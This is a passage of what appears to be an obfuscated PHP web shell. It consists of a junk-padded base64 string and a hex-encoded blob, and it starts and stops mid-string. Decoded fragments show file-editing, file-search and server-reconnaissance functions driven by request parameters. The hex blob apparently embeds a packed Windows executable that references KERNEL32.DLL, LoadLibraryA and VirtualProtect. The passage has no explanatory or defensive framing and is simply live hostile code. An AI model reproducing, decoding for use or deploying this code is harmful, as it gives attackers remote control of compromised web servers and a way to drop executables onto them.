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"; 
$rn="feODIyMTE3vfeQTZERjA3QTFBNTgxRTlDREYzRUY5RvfekUwRkvfeMvfeyRjvfeQwN0U4MEZDQThDMUEzREFBMzRGMEQ3MvfekYvfe2MDg4MUZFMDcvfe0MEI1Nzc4MzBDvfeODEyRjQvfexQjY1RkNGQTJFNDNFNUYyMUZGQTIxQTAwvfeRvfeTVBMkU4QTI1QjdFvfeQTFGvfeRTUxvfeMDVCRjkyREvfeZFRTAzREE1RURBNUY1RkRBNkvfeFEQTMyRDNEOERFRTBCMjY2MjdCN0Y5MzkvfezMTdFNvfeDMwMzAzODYwMDvfeY0QUE0MzJFRTk5RTlDODQ1MzhCOvfeTg3Njg0MDM4MEE2Njk5QUE2vfeN0M3ODc0NzA2QzlvfeBQTY2OTlBvfeNjQ1QzU0NDgzQzM0vfeNjk5QUvfeE2NjkyODI0MjAvfexQzE4QTY2OTlBQTYxNDEwMvfeEMwOvfeDA0NEREMzM0OTcwMDc1vfeRkNGOEYwRTREQ0E2RTvfek5RTvfeM1RDQyRjc1Qvfe0MwM0M0QvfekvfeMvfe5QUE2Njk5QUIwQTg5QzkwOEM4OvfeDQ5QkVBNjYvfe5ODA2QzY0Q0QyRTgyMUQvfe2vfeNUJvfeCOEM4RjkwNUMwMzdGMDA5vfeRUYwNDBFODJGNTAwQjgwNvfezAwN0YwRjExMzI1RENBMEQxNTM1NDk5NTAvfe4vfeQkvfeRENTBDOTQ0NTQ4Q0YzOENEQzk3vfeQvfejA1ODvfeU5MkNBN0JGMDY2OTlBMEUxRUVGM0I1QvfeTvfek3NvfezVBNzvfeY5QkFBN0I1RDRGM0UwMzAxQUI4NkvfeNEMzAzvfeNvfeEU2RDAxMzMzQUI3NTk2vfeOTlvfeBQTY2OvfeTc3vfeOTZCNEQzvfeRjIwQ0RBNzRvfeERDI3MkYwMvfezRENvfekMwMUYxvfeMDhBNDgwMDgzvfeNjgwMjQ0vfeNDQvfexNDQyMTA5ODBEMTAvfe5NjAwMDY0QzE1QjAvfe1NvfeEvfeQ3MzQzMvfejU3NDY1NTRCNkNCQjc1NzJDMEQ0NDY1vfeNkM2NTQ2NjkwNTQxMvfeEExMDVGRvfeEIwQzQ3MvfeEEwvfeOTUzQzVvfeEODczOTNDvfeRDI3MTkvfe1MjJDMEvfeEyM0vfeVDNEY1NkMxvfeNDUxODU2NjE3MjY5NjE2MvfejIyMTJDMEVDvfeNvfe0vfeY0MzZDNvfekYvfe3vfeMzY1NDg2MTZFNjQyNUYvfe2vfeMkFEOvfeDBFNEI0QTUwMEI2vfeMzQxN0I3QjvfeU2Njg2NzUzNzkxRDvfeY1NkQ0NDQ3QjdDvfeMvfeUI2NTvfeZGNTIyNzkxvfeNDc0NEU3vfeNvfeDc1MvfeTvfeVCODkzRkQ3MvfeDQ5NkU2NjZGNDEzNTY5NzA0RkIxREJENjJFQTg0vfeNTc4MkEwODUzNUQ2NTcwMkNGQjM2Q0NGRDU2NjU3MjczNjvfek2RjE2M0I4OvfeTZFNjc1NvfeDc5vfeMkQ2N0RGODU2QzU3MEYxRjRDNDM0RDYxNzAxMTvfeU3MDY4ODJFNjEwRDFCNEQ3MDczvfeRUQ1QkMzNDI3OTEyNvfekYvfe2NTvfeY0NjU0MzY4OvfeDM2NkU1QUJBMDNERkI2NDRGNjZGMzRDNkZGRDhFNkI2OEZGMvfezAwQjvfec0NkM1NTZFNzczQzNENDhENvfezY3vfeRvfeUvfeRBQzdDNzAvfe0MTZDNkMwQTQ2QjFGQjvfeQzMkQ3QjlCRTEvfe2RjZENkQwOvfeTMzNkU3RvfeEFDQvfejM4NTU2OTgyNjczRvfekIwQjc5vfeMENDNTgwRDg2NkU1MEI1NkvfeFEQjvfeUyMTQxOUvfeM0MjQ5NEQxRTI2M0NDvfeM0Q2MDk2MzBBNTvfeMyNzQvfewQjAyOURCRvfeEFDQTE2QUQvfexNDcyMTU0MjFCQzBCNjRvfeDvfeNvfeUI3vfeNjJCNvfezvfegxMvfeDhDODvfeU4MDI1MEI3vfeNvfe0M1vfeRvfeUI4NDA3QzQ2MDvfeBDNTQyvfeRkIvfe5OThBMTcwQjZEQTc1RDNGODEyRvfeENERDMvfezMDI1MjQ5NjQzOvfeDZDNzM1M0YzQjMzNzhCREQ1NTc1NjUwvfeQzRGMDlERTRCRDIyNThDNTMxRDvfeJENDvfecxQTA4vfeNkvfeQ2MvfeTg2vfeNDM0Mjc1vfeNTJDOTNCvfeMjQ2MzM2NjQxMkvfeEwRDUvfewQvfe0MzNjvfeMxNvfeDFFNEvfeQ2RjY0vfeQkRvfeBMzvfeRFNjE2RDZBM0IyMTYwQkvfeMvfe1vfeRjlFRTQ3MzE4MzAvfewNvfeDQ3MEEwvfeQ0vfeYzQ0vfeE2NjI0QTNGRDvfeA4RTQyQ0NGRjAvfe0MjU4MTY0MzYxODUvfezQjFDRvfekU2NkJGMDg1MDZGNjk5MEM5MDZDMjVFRjk5RvfeEZENkI2NTY0NDQ2NvfeTYzMzgxNUMyODQ0RDcyNDk2RTUzvfeRUI0NjBGM0FDMUYxRvfeUY3MzvfeY4NEI0Mjc1NjY2NjNFNkE1MEVDQjEzNvfejcvfe2MUMwQTQxMEIwNzRGNDU0vfeRDA5MkvfeMxOUZvfeFMTA5MzQxvfeNjQ2NDvfecyOTdFRjdEMjg0MvfeUJDRDkzQzcxNvfeTU1MjRDNDQvfewQTVCQTQ2NjgyvfeNvfezdFvfeM0NFMUM4OEY2RjZGRTM0MvfeDQ1NzUzNDE1Mzgvfe2NEQwMEZGMDQwMkNCQjIyQ0NCMTczOTAzMzQwOTBDOEQzMkI2vfeMvfekMwQjAyMjY0OvfeUY3RkY3RkFFNkQwQvfezEwMDI1QvfezAwMEEwNTvfeJGMEE1MjA1NTQ2NvfeDE3vfeMzUwQkvfeRGvfeRkVvfeGRkZGODExOTvfeEyvfeMTkvfeyQTA2vfeMEIyQTM4vfeNTvfeMvfexOTMxMEIzMvfejBEMUvfeIvfe4MDY1MTJFRDvfeI0MDU2NzBCMzAxMDBvfeGMUNGRkZGRkZGRjFCMUI5NjEzMvfeEIvfe1MzBCMUvfeM0NTU0MDU0MDA2vfeNDUxNzExMDYxODBBMTE4MTQ1MTEwQjRvfeDMzEwNTI2NTvfeMwRjvfedEMUNvfeGQkE1RkZGRjAvfe3OEIxMjE0MDUwQjEyMUIyNzvfeFBMTvfeIvfe0MTY5MUEwOvfeUYwNEJGODNBMDvfeZGMDUyMDvfeEwM0JvfeGRkRGRjdGMDgwvfeMjA3MEYvfewODBCMDYvfewNjvfeBBMvfeTgwvfeNTBBMUEwvfeRTA4MDY0MzEyNUMxvfeQvfejRGNTkwvfeODVvfeBMERBMzdvfeERjY2RkZvfeGMEvfeYxNkYwMvfezAwMUJBRjAwQvfeUY2MjExNzc1RjBDODAyMDQwMENvfeFMkQwN0vfeU2vfeRURFREJGvfeNUYxMDA3MDcwODI3MEMwQTA4MzAwQTAvfe2MvfeDgwNTBvfeDMvfeDUvfewQ0JGQjVGRvfekJCMTYwMzAvfe4MTMwODJEMUIxMDA2MEYwNjA3MDkyMUFFMDvfehGMDvfeRvfeGMDIwRTZCvfeQkZCNUVEMDYxQTA1MEYxMDdFQTIwNjA1MDYwRDFEMTUzNDlCRkJGNjlCvfeMjI0NEE2vfeRjBFvfeRDAxMjAxMzA2MTYwNzBGMTgvfexMEZCRkZEQkRCMDkxQTvfeU3MTM2MkE5vfeODUwRTBCMTQwNjBFMDkxMTFDMEYxMjA5MUMvfeyMzBBMDNGRkZGvfeRkZCvfeRjBDMTvfeM3RjBBMUNGMEYyMDAwNzE5NDIxMjMxMEMwQjBGMEFGMvfeDAzMDJGMDREMDEyQzBDMUMxOTFvfeBMDgxMUY2RUQvfe1QkZvfeCMDUwRvfeDA1RvfejvfeAwNTQ5QkYwNTM4MEMwNvfezU3MDcwQTvfeE5MDg4RvfeURCQURGRvfeERCMvfeDU2NjNBMDgxQTA2MTExvfeOTBDNzExvfeMzA4MUvfeUwOTE3RjZGvfeRjBCNkYvfexNzYyMTgvfewNjQyMjIxvfeNDMyMDcxNTMyvfeMEEyMTE1MjQyQTvfeBFMzExQ0Y2REY2RUvfeZGMjEyNTBGMvfeEYzMjEwNDNDQjvfeE0MEU0NzA2NUIwNzQvfe4NDVFMzE5vfeMzUzOvfeURCREY2RUZGMEvfeMxMDNGNTAxMzNFMTI4MjI2MEQ4RTEzMvfejcwRjQyMTQxRTZEMTU3Q0ZCvfeRkY2vfeRkFBMEUxvfeMzc3MEQvfeyNTFDMvfeTM3NEEvfewNEQxODE1NEE0ODE3MTJFMzA4NEIyNTEyODQyRjZDMkY0NzU1MDEvfexOEVGvfeMDUxRDI5MjvfeYxQvfeTA3Mjg0MkvfeVFREUxvfeRDvfeRBMDvfeYwNDY2MEIxQvfejA3MTYxRDvfeJBMzJGRkI3Qvfejc3RjcyMjgwvfeNjBDvfeM0IwODI5NzEwRDvfeBDMjM0RjYwMzvfekxNTBEM0QyMjA4NvfeEMwRjE5NjE1QkZCRvfekYvfeyNjJFvfeMEYyMDIyMkQxNDNBMvfeDcvfeyNjE4vfeMUEwQjgzQTvfeY3QzU2REJGRkZGMTM4QUYwRkIwMDc5MEMxNTBCMkVGMEvfeQvfe5MDvfeExQzBEMEQxMzA5vfeMEMzMkMyMjFCNzvfeY2NzhFMTA2MjEwQTFEMDgxNzE1QTvfekxOUU4MEIwQvfeUZCREvfeYwQTvfeBCNkU0MvfezJDMDAxOTvfeAvfe2NkYwNjFFMTExvfeMzE1MUVGOTUwNjgvfe4NTdGvfeMTvfeAyMTBDMTIwRvfeTBGMvfeTEvfe3vfeNTk2NDdvfeCvfeRkYwMEJDREIvfe4NUM3RUYwNTYwMTFFvfeNvfeTUwRjBBQvfezYwQTvfegvfe5MvfeDUwQkZGQvfekZCNTFGNEMzNvfeTvfeA4MEUxRTFEMTgyMDU4MTYzMvfezvfeY4vfeMjU0NjA1vfeMDMwNzE3vfeRkVvfeBRDZERkMxMDNvfeEMvfeTvfeA1NvfejEyRjAzRTAxRUM0vfeOEIyvfeNEYvfezMEJENzFFMUI3NUIwNDVFMkvfeYwRjU4MzhFQTNDN0QzODEwMDQwvfeQ0ZCNzZGMzgzMDFGMEI0MDMwNDA4RjBBvfeQzBBvfeMERGMDE0MvfeDEwNvfeDE3Qzgvfe5MTVEvfeN0UyvfeMDEwMTA4NDA4MDIwODAwMDQ2NDUvfezMvfejAzRkYwMvfejQwNjA4MvfeDQxMDA5RjkyRjcxvfeRTkwQzlDNjQ1MDQ1QTU0QzAxMDQwvfeMEIyOTc2QTQ2QUE0RUY5MEZFMDvfeAwvfeMEUyMTBvfeCMDEwNjI2NEIvfewMDRGMjZBvfeOTI0NDExMEJERUMvfezQ0ZCMDkxMvfeDBGMDQwMDvfeA3MDBEMEIyMzdFOTgyMjcyQTAvfeyMDIwNzlCNkQ3RUQ4MvfeUU4RDAwMDAvfe3MUMvfe4ODY2MjAyODvfeVCOTYvfe1MEFDMDY0OEEwMDJCOENBQTRCQTvfecvfe0NEIwMTAwQzc2RjkyRTc0NjvfeU3ODcvfe0vfeNDY2vfeMTkwNzBFMkFvfeEMkE2NTc0Q0Q2MDJFNzIxMjY2OUQyQkMxQUIwRDUzMDNGQvfejVvfeFvfeNzNEOTvfeAyNDAyRTI2Q0YyNDI3QjYyvfeOvfeTE5QTQvfe5MDkvfewQzA0vfeRjY1MTlFQzZCMEvfeYvfe3RvfeDU4NEZDMDI3QvfeTAvfe2RjZvfeFQkYyOvfeTQyMUI1Qzg4MTA1MvfeUM0ODlDNzAwvfeMDAwMDAwMDAwMDAwODAwNDAwRkYwMDgwN0MyNDA4MDEwRjg1QvfezIwMTAwMDAvfe2MvfeEvfeJFMDBBMDAwMTA4REJvfeFMDA3MEZGRkYvfe1NzgzQ0RGRkVCMEQ5vfeMvfeDvfekwOTA4QTA2NvfeDY4ODA3vfeNDcwMURCNzUwNzhCMUvfeU4M0VFRkMxMURvfeCNzJFREIvfe4vfeMDEwvfeMDAwMDAwMURvfeCNzvfeUwNzhCMUU4M0VvfeFRkMxMURCMTFDMDAxRvfeEI3M0VvfeGNzUwOThCvfeMUU4M0VFRkMxMURCNzNFNDMxQzk4M0U4MDMvfe3MjBEQzFFvfeMDA4OvfeEEwNjQ2OvfeDNGMEZGNzQ3NDg5QzUwMUvfeRCvfeNzUwvfeNzhCMvfeUU4Mvfe0VFRkMxMURCMTFDvfeOTAxRvfeEI3NTAvfe3OEIxRTgzRUVGQzExRvfeEIxMvfeUM5NzUyMDQxMvfeDFvfeEQjc1MDc4QjFFODNFRvfeUZDMTFEvfeQjExQzkwMURCNzNFRjc1MDk4QvfejvfeFFOvfeDvfeNFvfeRUZDMTFEQjczRTQ4M0MvfexMDI4MUZEMDBGM0ZGRkY4M0QxvfeMDE4RvfeDE0MkY4vfeM0ZvfeEvfeRkvfeM3vfeNjBGOEEwvfeMjQyODgvfewNzvfeQ3NvfeDk3NvfeUY3RTk2M0ZGRkvfeZGRjkwOEIvfewMjgzvfeQzvfeIwNDg5MDc4vfeM0M3MDQ4M0U5MvfeDQ3N0YxMDFDRkU5NENGRkZGRvfekY1RTg5RjdCOTk2vfeMDEwMDAwOEEwNzQ3MkvfeNFODNDMDE3vfeN0Yvfe3ODAvfezRvfejvfeBvfeBNzVGMjhCMDc4QvfeTVGMDvfeQ2NkMxRTgwOEMxQvfezAvfexvfeMDg2QzQyOUvfeY4vfeODBFQkU4vfeMDFGMvfeDvfeg5MDvfec4M0M3MDU4OEQ4RTJEOThEQkUwMEMwMDAwMDhCMDcwOUMwNzQ0NThCvfeNUYwNDhEODQzMDAwRTvfeAwMDvfeAvfewMDFGMzUwODNDNzA4RkvfeY5NvfejUwRTAwMDAwOTU4QTA3NDcwOEvfeMwNzREQzg5Rjk3OTA3MEZCNzA3NDc1MDQ3Qjk1NzQ4RjvfeJBRvfeTU1vfeRkY5NjU0RTAvfewMDAwMvfeDlDMDc0MvfeDc4OTvfeAzODNDMzA0RUvfeJEODYxMzFDMEMyMEMwMDgzQzcvfewNDhEvfeNUVGQzMxQvfezA4QTA3NDcvfewOUMwNzQvfeyvfeMjvfeNDRUvfeY3vfeNvfezExMDFDMzhCMDM4NkM0QzFDMDEwODZDNDAxvfeRjA4OTAzRUJFMjI0MEZDMUUwMTA2NjhCMDvfec4M0Mvfe3MDJFQkvfeUyOEJBRTU4RTAwMDAwOvfeERCvfeRTAwRjBGRkZvfeGQkvfeIwMDEwMDAwMDUwNTQvfe2QTAvfe0NTM1N0ZGRDU4RDg3RkYwMvfeTAwMvfeDA4MDIwN0Yvfe4MvfeDYwMjg3RjU4NTA1NDUwNTM1N0ZGRDU1ODYxOEQ0vfeNDI0ODA2QTAwMzlDNDc1RvfekE4M0VDODBFOUM3M0NvfeGRkZvfeGMDAwMvfeDAwMDAwvfeMDAwMDAwMDAwMDAwMDAwMDAwMDAvfewMvfeDAwMDAvfewvfeMDvfeAwMDAwMDAwMDAwMDAvfewvfeMDAwMDvfeAvfewMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDvfeAwMDAwNzBGMDAwMDA1MEYwvfeMDvfeAwMDAwMDAwMDvfeAwMDAwMDAwMDAwMDAwMDAvfewMvfeDvfedERjAwMDAwNjBGMDAwMDAwMDAwMDAvfewMDAwMDvfeAwMDAwMvfeDAwMDAwMDA4OvfeEYwMDAwMDY4RjAwvfeMDAwMDAwMDAwMDAwMvfeDAwMDAwMDAwMDAwMDAwMDAwvfeMDAwMDvfeAwMDAwMDAwMDkyRvfejAwMDAwQTBGMDvfeAwMDBCvfeMEvfeYwMvfeDAvfewMDAwMDAwMDAwQvfezBGMDAwvfeMDAwMvfeDAwMDAwMDczMDAwMDvfegwMDAwvfeMvfeDAwMDA0QjQ1NTI0RTQ1NEMzMzMyMkU0NDRDNEMwMDc1NzI2QzZENkY2RvfeTJFNjQ2QvfezZDMDA1NzUzMzIvfe1RjvfeMzMzIyRTY0NkM2QzAwMDA0QzZGNjE2vfeNDRDNjk2vfeMjcvfeyNjE3Mjc5NDEwMDAwNDvfec2NTc0NTA3MjZGNjM0MTY0NvfejQ3MjY1NzM3MzAwMDvfeA1NjY5NvfezvfeI3vfeNDc1NjE2QzUwNzI2Rjc0Nj